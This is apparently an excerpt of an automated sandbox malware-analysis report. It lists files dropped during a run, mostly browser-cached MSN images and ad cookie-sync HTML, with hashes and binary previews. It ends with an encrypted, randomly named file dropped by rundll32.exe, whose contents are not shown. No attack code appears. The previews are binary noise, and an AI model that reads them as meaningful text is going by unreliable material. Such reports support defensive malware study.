Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....P......P.P.@.@..Z..og-.y...8..h....#k..Gr........T.8.I[.0.3.......4..a...C.(....b..._.h...X.. }.@.\..,.)....+@..6......@.....@.,r..h.kMB..A%....FS.@..jwZ......R.. t.@...(.h......P..kki.G...3.....@.....P.@.@.Ao-.\*Y........G....."e:0#........4h,..f.....c..2.(N.\..............b.c....H.ix........$.$.........q.E..m.2...}.3@....v2.c$.Pq@...J8p~.@.ly$P.@..%.-......J..m..-....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQAtt[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	18876
Entropy (8bit):	7.949568415822713
Encrypted:	false
SSDEEP:	384:NqYGxOYaXEkvYaYT0PQChKck1GkTye2qmysJY:NKxHdUYaYT6QChK35IyT
MD5:	8635DFAB7054DBB2FA6EEFF0213865A7
SHA1:	00850AD7BA3677DB05F4A94B469D6278BE5D2452
SHA-256:	51AD396BC9DBEF644579D9D686D70C73E13E738CDF79AB7811DA327E22E9802D
SHA-512:	AB1851C0F5E2849A2B0FA61034DEAC5928970D2F358096F1E56C9DDCCAF25516C01CA55B6460E92BA95C5FA4342331579EA892E1D028FD13E98CFA5C7A65BD61
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(.......P.@.@..-...Z.Q@.@.@.(.E.-.-0......Z.(.h...........P...C@...4..@.4.C@.....J.).b.....Z`..P...@.@.@.@.@.(.........Z.(.h..........J.C@.@.h.(.(.(....h..!."...h..4........=.....,....4..`....P...@.(.h.h.......Z.Z.(.h......(.........4..........h....i.]n.k......(.r.8.!......B(.Q......P...@.@..-.-.-0..Z.Z..J.\|[G.....L.1.U.$Y......v.R#.(2}(...@......x..p'....C@.@.h...!....% 9..M...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQgtq[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	modified
Size (bytes):	29501
Entropy (8bit):	7.919671562446112
Encrypted:	false
SSDEEP:	768:I7136QouxwE0Knu5ak6wKtF+iiTilc+73OUqI:IRaun0guUCQlcQ3OFI
MD5:	6741BAD25530DAD8B1F9AC9727694039
SHA1:	45055986AA86BE273700849A09B79B82BBA0C040
SHA-256:	75D83F5813464FAB9FB9E890D4B0622EA0AB8FBDA084C99C6544F2A7EE1C6235
SHA-512:	47627AAE679B7907BE4D399AE8E0C4715219AD0E1DB8DBBB82536750A97AD67A0791F80446AAEFEDB86E781E8C7F6B443E75FD1E402B0266F97B794482C3D787
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....1h..!..........(O{.R..g\^..5..ZFd.l..XJ.j%bY.......Ce.B....`..s....B.j..a......z..g8....n....8.e#T..{..qY6h.z;p;T\d.<P..l.p...i..i.@B..0+.dt.D..b.%..l...r.z..R.#.Qb.AS...@........KUa\..i.CsL..MM.H#..p....R..U(..xZC....(...%!...S..........P.@....[.V.q9...]..d.!5.bc)...j...r.b'....q...%0.M......N......&3...Xz4...=.1...q94..f1..U9.-].;.....V;v..8.\..+4N.3=Mf2A!#.i..h.ri

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQr9A[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category:	dropped
Size (bytes):	7128
Entropy (8bit):	7.870925814555214
Encrypted:	false
SSDEEP:	192:Qntmw8a9W7BFYfGpQlLERII3ay4mFLQuYRED34s:0trH9W7LYfGML0zBVhn
MD5:	F0D3EC5DA0B74602115B17B0E23D3461
SHA1:	1BECED92D5BD6D86B519DE3C56E724AE20AB07A1
SHA-256:	C5E144B9F8559B88E3E4D195629A5E1EE388ABE4690ED6069A6D593ADD655E81
SHA-512:	FA2A037826DA4A1A86BC1D7B1C3C1AE03012779509251351C77BC9D952D01F8DF15F49361542CAAA49785997CBE933F9702E0D66B5C0BA8E712199AA41D69217
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO........6...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....!.@.3@.(...b...Z@.4...P0...`% ....P..H...h.(.......P.@..%....@!..........J.(.R.P1w......2i.\.`.M......E.2h.....4.\....(4.R......6lt.h<....+..!'dt.u.(..r. ...Lg...35..".L.'....v...Mb.Q<2.R.........D1....O.(.R`A...Bf..@.....@. ..J.(.....S.).(...%...).P.@...Z..]...m.....@..z.]..]...l...].......@...@.....b.......R...v.m%.k..).#..d.....V.z#....^...$..^....v..[....C"..)...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQtrz[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	6313
Entropy (8bit):	7.8498406325007215
Encrypted:	false
SSDEEP:	96:QfQErrcPz/xLRRa5BDhoUWO7Iipb96yLn5u0waxdEWkcXKYlfbI5MnFjOhsSRJ57:QoewNPaPABm9zn80zKYBI+nFisSRb2s
MD5:	FFF1E2095378BC0657B52178933CDDC2
SHA1:	852CDEC7BE40DCCBD64498D367CBAE972C4847D2
SHA-256:	1BB3A93B2E2FBAF48D664E35A52DDA03D9F898F4EB432902B8AD9A954C1B2D8E
SHA-512:	2FF66FCA25FEE8DFC4E5A1E45BB71780F731AB109034E82683EAD6F7D10E15295C1EE27B0D480C6CA7F1609E59D9A414195E2CF06CB18F6293F8F02B7213F073
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....6...!4...H.M0.s@..!.. 4.x.Hc..!s@.5.. .0#.` ...@!"..h..@.;.@\..N.4=;.rDn).1I..3.L.?..A....1@.(.....Xp..y.LL.@.-...!.h....P.@.4.&h.&..4......@. f.3lEj.rt<Re!. ..i.. .,C..L.'.C.P4<......-.....H`h........H.h.2=).M....].@\.!.2[ cA.L.LD.)..8a...d...,b......4..(...(...P..H...i4.P.......c....A,a.!3@..4..4.....d.......H..D......,.E!..h...1...M"...P..C.PK....jv.b..bn8..a.('8.iX..]".\O

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AAOQycW[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	dropped
Size (bytes):	22335
Entropy (8bit):	7.849848793222804
Encrypted:	false
SSDEEP:	384:IeZWsfe4OCvyqhnVK9eHb9Y/s2RDjAgAxFdHaWGZIWAxSAzKb6qbErMbK8Yp08:IeZhG4Xvy4M9e7UJtgFd52IW30K2qIr1
MD5:	CD1A1080FBDF241E975E8521D27CA42A
SHA1:	C0C7971B58FD34159F2F734FB84E0BCE60CD52CB
SHA-256:	67ECCD5168F33C4ECBF0A78A88983D874F5934CD23DB77297B3D1032C63A130A
SHA-512:	496976442F8B8AD2A518B62AD4310CFFA9601B9094FD3213C852053A32CE5D3013DFBCDE5C15DB410167DA35853DC7976F7FF89AB4EF01B21791B81B79E9F27B
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..@.V..M.F.L...B..a..qL..A..i4.Ph...@...&..p.@.b!P..=A..i.#......LC.y5.Lf...[t0..D,.4....)... .`..m.9z...\|........B.!_...Qf...>.v...S....4.Gbd.o.m.o(zF.Q.Z.....y>{..~.j..r..\..z..&.c...........V...87..'.)o.Xw..J.(<.d..'.......o.'....t.zZ...}.V...C7Zo.~.+kq.`.?.T..;..'.'........@.&......@.4.6..`&.8...N...r.R.t......n..K.Q......U\|...q..t.w{..<i.@'....P3B...{?...z...VT.d.;(@

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\AArXDyz[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.428434836975685
Encrypted:	false
SSDEEP:	12:6v/7gL/VnYyOrLr4giGytVy6R4jsnwPH7XXc:5w7tLCbMswfbs
MD5:	CBC872F95E97A2E9BEE6A358853D5C5E
SHA1:	2AA08D0C3410C2B1DACC4E7AE45FCEC2FFD8A5F7
SHA-256:	64CA26EAA923C9838A551835B8824D055D16484476E00BB260D56F2E801FBA2A
SHA-512:	39F09466D3061EB107B5072FD5FB2B2B10FDE17D1BFC79E7C3DB79D3330D327FA439543F9EDE6E2598E0BD32424634B7A327A18E1F95AD36F77DF9CC9C707DA5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx..J+A......1...jX.......'P.....\|._ .V...6..E..^.....I..&....qS....v........8../.7.0..U...w.>.g......Q..7../..[. ....=......m..+k:..#...m.-. ..t......n.....F.]8..B..s..S..@.......\.H.L...Z. ..q.z[VQ.Z.........^..d.P..........Z.i..b.....0.;u...q..q.gH$,H....J..a...u!..W~....d..o.._...c2vM.S..s.d.'....F.X<.....<e...c..B..d...Z..n........=.X..8.?..?..Xy......?.......Z.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\BB14hq0P[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	dropped
Size (bytes):	19135
Entropy (8bit):	7.696449301996147
Encrypted:	false
SSDEEP:	384:IHtFIzAsGkT2tP9ah048vTWjczBRfCghSyOaWLxyAy3FN5GU643lb1y6N0:INFIFTsEG46SjcbmaWLsR3FNY/Ayz
MD5:	01269B6BB16F7D4753894C9DC4E35D8C
SHA1:	B3EBFE430E1BBC0C951F6B7FB5662FEB69F53DEE
SHA-256:	D3E92DB7FBE8DF1B9EA32892AD81853065AD2A68C80C50FB335363A5F24D227D
SHA-512:	0AF92FBC8D3E06C3F82C6BA1DE0652706CA977ED10EEB664AE49DD4ADA3063119D194146F2B6D643F633D48AE7A841A14751F56CC41755B813B9C4A33B82E45C
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..h.h........(.h........(.h......Z.(........(.h........TNY...W....q@..~..<..h.....dG.@.........F....L.@%}.....-K.F.9...c..O.7X9u,%.k.4..4..c.<p"...cp.-...U.J.n2..9.b.d.SphR.\V.5Q-./.LV.6...HM.V.d^E...F.q.*+7..a.m..VOA..qR.X.rx5&.(..Q..P.R..x..WM-.?........V..GTi.(.(........(........J.(.(......J.(........Z.(........Z.(........Z.(........(.h.......i..H.@...;..Y...q...0.<e+.B...[.v..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\BB1cEP3G[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.81915680849984
Encrypted:	false
SSDEEP:	24:FCGPRm4XxHvhNBb6W3bc763IU6+peaq90IUkiRPfoc:/pXBvkW3bc7k1FqWIUkSfB
MD5:	24F1589A12D948B741C2E5A0C4F19C2A
SHA1:	DC9BB00C5D063F25216CDABB77F5F01EA9F88325
SHA-256:	619910A3140A45391D7D3CB50EC4B48F0B0C8A76DC029576127648C4BD4B128C
SHA-512:	5D7A17B05E1FD1BC02823EC2719D30BC27A9FA03BCFFE30F3419990E440845842F18797C9071C037417776641AB2CDB86F1F6CD790D70481B3F863451D3249EE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................U....pHYs..........+......IDATx...]..U.....d..6YwW(.UV\.v.>.>..`.K}X).i..Tj...C..RD. ..AEXP.............]).vQ../$.%.l2.....dH&.YiOr93.....~..u.S...5........J.&..;.JN..z....2..;q.4..I .....c!....2;J........l(......?.m+......V...g3.0..............C..GB.$..M.....jl.M..~6?.........../a%...;....E.by.J..1.$...".&.DX..W..jh.....=...aK...[.#....].. ....:Q....X.........uk.6.0...e7..RZ..@@H..k........#......[..C.-.AbC.fK.(a.<.^p.j`...._>{<....`.........%.L...q.G...).2oc{....vQ...N5..%m-ky19..F.S....&..../..F......y.(.8.1..>?Zr......Q.`.e.\|0.&m.E....=[aN..r.+....2B/f8.v..n...N..=........i.^....s&..Hr.z.....M......:........EF.....0.. .N.x............N.pO.#2...df=...Fa..B#2yU....O.;.g....b.}ct.&.7x..t.Y..yg....]..){.,.v.F.e.ZF.z..Ur+..^..].#.]....~..}..{g.W0?....&....6n....p\.=.]..X...F.]...\s5OK.3Wb.#.M/fT...:^.M}...:t.......!..g......0t.h..8..4cB....px..............1.!...}=...Qb$W.*..."............V....!.y......<H

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\BB7hjL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	462
Entropy (8bit):	7.383043820684393
Encrypted:	false
SSDEEP:	12:6v/7FMgL0KPV1ALxcVgmgMEBXu/+vVIIMhZkdjWu+7cW1T4:kMgoyocsOmIZIl+7cW1T4
MD5:	F810C713C84F79DBB3D6E12EDBCD1A32
SHA1:	09B30AB856BFFDB6AABE09072AEF1F6663BA4B86
SHA-256:	6E3B6C6646587CC2338801B3E3512F0C293DFF2F9540181A02C6A5C3FE1525A2
SHA-512:	236A88BD05EAF210F0B61F2684C08651529C47AA7DCBCD3575B067BEDCA1FBEE72E260441B4EAD45ABE32354167F98521601EA21DDF014FF09113EC4C0D9D798
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...N.P...C.l...)...Mcb*qaC/..]..7..l...x.Z......w......._....<....\|.........."FX.3.v.A.............1..Rt...}......;....BT.....(X.....(....4...-...f....0.8...\|A.:P%.P..if.t..P..T.6..)s..H..~.C..(.7.s>....~...h..bz...Z.....D4Vm.T...2.5.U.P....q.6..1t~.ZU....7.i...".b.i.~...G.A!..&..+S.(<(...y._w..q........Q.l..1...Tz...Q...r.............g...+.o.]...J...$.8:.F..I.......XT..k.v....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\BBPfCZL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	GIF image data, version 89a, 50 x 50
Category:	dropped
Size (bytes):	2313
Entropy (8bit):	7.594679301225926
Encrypted:	false
SSDEEP:	48:5Zvh21Zt5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333q+PagKk7X3ZgaI9kMpRd
MD5:	59DAB7927838DE6A39856EED1495701B
SHA1:	A80734C857BFF8FF159C1879A041C6EA2329A1FA
SHA-256:	544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDE5AD62AD462D57
SHA-512:	7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BD0CEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB86
Malicious:	false
Reputation:	unknown
Preview:	GIF89a2.2.....7..;..?..C..I..H..<..9.....8..F..7..E..@..C..@..6..9..8..J..z.G..>..?..A..6..>..8..:..A..=..B..4..B..D..=..K..=..@..<..:..3~.B..D.....,\|.4..2..6..:..J..;..G....Fl..1}.4..R.....Y..E..>..9..5..X..A..2..P..J../\|.9.....T.+Z.....+..<.Fq.Gn..V..;..7.Lr..W..C..<.Fp.]......A.....0{.L..E..H..@.....3..3..O..M..K....#[.3i..D..>........I....<n..;..Z..1..G..8..E....Hu..1..>..T..a.Fs..C..8..0}....;..6..t.Ft..5.Bi..:.x...E.....'z^~.......[....8`..........;..@..B.....7.....<.................F.....6...........>..?.n......g.......s...)a.Cm....'a.0Z..7....3f..<.:e.....@.q.....Ds..B....!P.n...J............Li..=......F.....B.....:r....w..\|..........`..[}.g...J.Ms..K.Ft.....'..>..........Ry.Nv.n..]..Bl........S..;....Dj.....=.....O.y.......6..J.......)V..g..5.......!..NETSCAPE2.0.....!...d...,....2.2........3.`..9.(\|.d.C .wH.(."D...(D.....d.Y......<.(PP.F...dL.@.&.28..$1S....TP......>...L..!T.X!.(..@a..IsgM..\|..Jc(Q.+.......2.:.)y2.J......W,..eW2.!....!....C.....d...zeh....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\BBX2afX[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	879
Entropy (8bit):	7.684764008510229
Encrypted:	false
SSDEEP:	24:nbwTOG/D9S9kmVgvOc0WL9P9juX7wlA3lrvfFRNa:bwTOk5S96vBB1jGwO3lzfxa
MD5:	4AAAEC9CA6F651BE6C54B005E92EA928
SHA1:	7296EC91AC01A8C127CD5B032A26BBC0B64E1451
SHA-256:	90396DF05C94DD44E772B064FF77BC1E27B5025AB9C21CE748A717380D4620DD
SHA-512:	09E0DE84657F2E520645C6BE20452C1779F6B492F67F88ABC7AB062D563C060AE51FC1E99579184C274AC3805214B6061AEC1730F72A6445AEBDB7E9F255755F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................U....pHYs..........+.....!IDATx...K.Q..wfv.u......,I"...)...z............>.OVObQ......d?\|.....F.QI$....qf.s.....">y`......{~.6.Z.`.D[&.cV`..-8i...J.S.N..xf.6@.v.(E..S.....&...T...?.X)${.....s.l."V..r...PJ!..p.4b}.=2...[......:.....LW3...A.eB.;...2...~...s_z.x\|..o....+..x....KW.G2..9.....<.\....gv...n..1..0...1}....Ht_A.x...D..5.H.......W..$_\G.e;./.1R+v....j.6v........z.k............&..(....,F.u8^..v...d-.j?.w..;..O.<9$..A..f.k.Kq9..N..p.rP2K.0.).X.4..Uh[..8..h....O..V.%.f.......G..U.m.6$......X....../.=....f:.......\|c(,.......l.\..<./..6...!...z(......# "S..f.Q.N=.0VQ._..\|....>@....P.7T.$./)s....Wy..8..xV......D....8r."b@....:.E.E......._(....4w....Ir..e-5..zjg...e?./...\|X..."!..'/......OI..J"I.MP....#...G.Vc..E..m.....wS.&.K<...Kq..\...A..$.K......,...[..D...8.?..)..3....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\BBkwUr[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	436
Entropy (8bit):	7.255906495097201
Encrypted:	false
SSDEEP:	6:6v/lhPahm/BBjoPHhOVDqpp05cMxyHtGUmmozY7JE3R+hRMCzRPasXQc01UaVesl:6v/7MHQg25b8Ht3VEMNQ2w5
MD5:	01B5E74F991A886215461BF0057008C7
SHA1:	6A7347C3559814722D7AA4D491A0D754E157FCC5
SHA-256:	DB8A0C0A44AEE824F689A942D99802F95D7950758CB0739C7F179624A592CD51
SHA-512:	17820A7C90B35B0E45D0A07F5445D8C97BFD3098FD9E0F0283CD6CFC1DB2B33C651924D2F04EF398C147CEB8D7DEA3F591DBC19F9039279407C4E4231AC5F5B7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....fIDATx.}..M.@.......0...Aa.......#0..."..0....a....<....<....y..qS......m..k..%.'\|.......`....Z.`x...X............Np..x........a%(..ab........=.....j.[....0}.>.O..R~..<@y....nV..:.q.....G.P.e..............?s....i^l.P..5.0....?...&.A.K..\|+...X.h)....5K...Zx...[....G...0N<.~PC.@.X.O2..N..x...:?..7.xH.&.......C3..8....Q.*.>...W..~..].U..U>L/....Le&.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\checksync[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21700
Entropy (8bit):	5.305082513785246
Encrypted:	false
SSDEEP:	384:VZAGcVXlblcqnzleZSweg2f5ng+7naMHF3OZOBQWwY4RXrqt:L86qhbS2RpF3OsBQWwY4RXrqt
MD5:	B5F20E1651F4F1946B488FF06242968A
SHA1:	AEA762A84C24EB4E69086A8FE735F0A86540EA92
SHA-256:	60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
SHA-512:	37DA7C66E1949934BAF502F133362787FB039C44A7C0E528B9F2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
Malicious:	false
Reputation:	unknown
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"bs":{"name":"bs","cookie":"data-bs","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0},"ttd":{"name":"ttd","cookie":"data-ttd","isBl":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\de-ch[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	428125
Entropy (8bit):	5.440793813191094
Encrypted:	false
SSDEEP:	3072:ufiNJUKxx+TAkJ8g6J0eQuuT7MVSs2yprCahzHk5WFGPLPVPfk/L8pfWA+JxLf:ufc/OTtHMVPHl8WAPVv9oJh
MD5:	5F982E1CF133FD05485C1291EF654BB8
SHA1:	C2CFAE29DA7230A2D02512899F1EEA2E1C35FCCD
SHA-256:	3847DC95F04ACC566FF4350EA6D160A95084184A03F030F24555978BC11001A6
SHA-512:	4FC5716CE5C95039A75055BB5F752D79522DF3888043C34DB4AEFF81E94B622BFD1230D314533D17463B080E8D683B76BF9293256D6E96F7A4541F99DD45F66F
Malicious:	false
Reputation:	unknown
Preview:	<!DOCTYPE html><html prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" class="hiperf" dir="ltr" >.. <head data-info="v:20210921_24422861;a:ce3289ff-c503-4b14-967b-8dbba2ddde75;cn:8;az:{did:951b20c4cd6d42d29795c846b4755d88, rid: 8, sn: neurope-prod-hp, dt: 2021-09-26T21:37:27.6754218Z, bt: 2021-09-21T00:11:57.7792362Z};ddpi:1;dpio:;dpi:1;dg:tmx.pc.ms.ie10plus;th:start;PageName:startPage;m:de-ch;cb:;l:de-ch;mu:de-ch;ud:{cid:,vk:homepage,n:,l:de-ch,ck:};xd:BBqgbZW;ovc:f;al:;fxd:f;xdpub:2021-08-11 10:21:32Z;xdmap:2021-09-28 07:52:15Z;axd:;f:msnallexpusers,muidflt13cf,muidflt48cf,muidflt50cf,muidflt52cf,pneedge2cf,audexedge2cf,audexhp3cf,pqto450c,bingcollabhp2cf,modvenduhrsc,audexhz3cf,bingcollabhz1cf,onetrustpoplive,1s-bing-news,vebudumu04302020,bbh20200521msn,msnsports5cf,weather2cf,prg-1sw-cvisnew,prg-1sw-sprctrl,prg-1sw-actbtndflt,prg-adspeek,1s-br30min,btrecrow1,1s-winauthservice,prg-1sw-setcogt,prg-wpo-hpolypc,msnapp7cf,prg-1sw-halfwea,prg-brandupwhp,prg-core

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\iJNdwcRSva[1] Download File
Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	293376
Entropy (8bit):	7.999325774736312
Encrypted:	true
SSDEEP:	6144:SI/9zI/w5t5Ukt2JpXCq/xnCE/6wrGwQjPkHrMO3JfZfxsIHSRd3:SI/GY57UkteEqh7HrMka2Sb
MD5:	92F30BCC922D67F48581CEDE802E4DFF
SHA1:	D8FAF03A657EBC1A27A4A04A7B7C4040939E88A8
SHA-256:	1F00A54DC30D14EACD0FEAD3F6D08D5B41EAE7070F739E2F7AACCF29C83FFF70
SHA-512:	A1348923FB4910A1C45ED96798B571CCD2D64AB036D6B0A01AE40784E57BEB3CDB9F90F93887F6897766D558539A41864013F4D3845A3A3635BD835F5C37B5D0
Malicious:	false
Reputation:	unknown
